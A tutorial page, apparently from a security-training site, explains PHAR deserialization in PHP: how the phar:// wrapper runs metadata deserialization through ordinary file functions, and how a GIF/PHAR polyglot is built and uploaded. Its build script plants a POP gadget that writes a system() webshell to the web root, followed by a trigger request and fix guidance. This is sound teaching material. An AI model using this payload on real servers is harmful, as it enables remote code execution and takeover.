Insecure Deserialization: From Serialized Blob to Remote Code Execution

PHAR Deserialization

How phar:// triggers PHP deserialization with no unserialize() call: the PHAR metadata trick, file-operation sinks, polyglot uploads, and POP gadgets.

Published

PHAR deserialization is the trick that makes PHP object injection possible even when the app never calls unserialize(). The phar:// wrapper deserializes a PHAR archive's metadata on any file operation, so an upload plus a file-path sink is enough. This page covers the technique. Practice on a free live target.

The PHAR metadata trick

A PHAR (PHP Archive) stores a serialized metadata object in its header. On PHP 7.x, whenever PHP accesses the archive through the phar:// stream wrapper, it deserializes that metadata automatically. So if you can make a file function open a phar:// path, PHP deserializes your metadata object, firing any magic method on it, with no unserialize() call in the application at all. (PHP 8.0 restricted this, see the caveat below.)

File-operation sinks that trigger it

Almost any function that takes a file path and gets a phar:// URL will do it:

file_exists($path)      fopen($path)        file_get_contents($path)
getimagesize($path)     md5_file($path)     is_file($path) / is_dir($path)
copy(), unlink(), stat(), and most filesystem functions

The requirement is simply that you influence the path argument enough to supply phar://your-archive.

Build a polyglot PHAR

Delivery is usually an image upload, so you make a file that is both a valid image and a valid PHAR, with a serialized gadget as its metadata:

// build the PHAR on your machine with:  php -d phar.readonly=0 build.php
// (phar.readonly defaults to On, which blocks Phar creation)
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('x.txt', 'x');
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');   // GIF header makes it a polyglot
$gadget = new Logger();                                 // a POP gadget whose __destruct is a sink
$gadget->logfile = '/var/www/html/shell.php';
$gadget->data = '<?php system($_GET[0]); ?>';
$phar->setMetadata($gadget);
$phar->stopBuffering();
// rename to exploit.gif and upload through the image form

The GIF89a prefix passes an image check, and the __HALT_COMPILER() stub makes it a working PHAR.

Trigger with a phar:// path

Once uploaded (say to /uploads/exploit.gif), point a file-operation sink at it with the phar:// wrapper:

GET /view?img=phar:///var/www/uploads/exploit.gif/x.txt HTTP/1.1
Host: target.example

PHP opens the archive, deserializes the metadata Logger, and at destruction __destruct() writes the webshell. No unserialize() was ever called.

Edge variants

phar://upload.gif/anything     the inner path can be any entry; metadata fires regardless
JPEG/PNG polyglot              any image header works, not just GIF
sink via getimagesize()        an "image dimensions" feature on an uploaded file is a classic trigger
chained POP metadata           the metadata can be a full POP chain, not a single gadget

Modern PHP caveat

PHP 8.0 restricted this technique. Ordinary file operations (file_exists, fopen, getimagesize) on a phar:// path no longer auto-deserialize the metadata, so on PHP 8.0+ the trigger requires the application to call Phar::getMetadata() explicitly. The classic "any file operation fires it" form therefore applies to PHP 7.x and earlier, or to a modern app that still calls getMetadata() on an attacker-controlled archive. Building the PHAR also needs phar.readonly=0 on the attacker's own machine. Treat it as a powerful escalation on legacy PHP, or where a getMetadata() call is reachable, when a plain unserialize() is not.

Fixing it

  • Validate uploads by content, not just extension, and store them where they cannot be referenced by path.
  • Do not pass user input into file-path arguments, which removes the ability to inject phar://.
  • Keep gadget classes out of scope with a class allow-list, so even a triggered metadata deserialization has nothing to chain.

Full guidance is in preventing insecure deserialization. Next, when the deserializer itself is native in deserialization to memory corruption, or try PHAR on a free lab.

← Back to Insecure Deserialization: From Serialized Blob to Remote Code Execution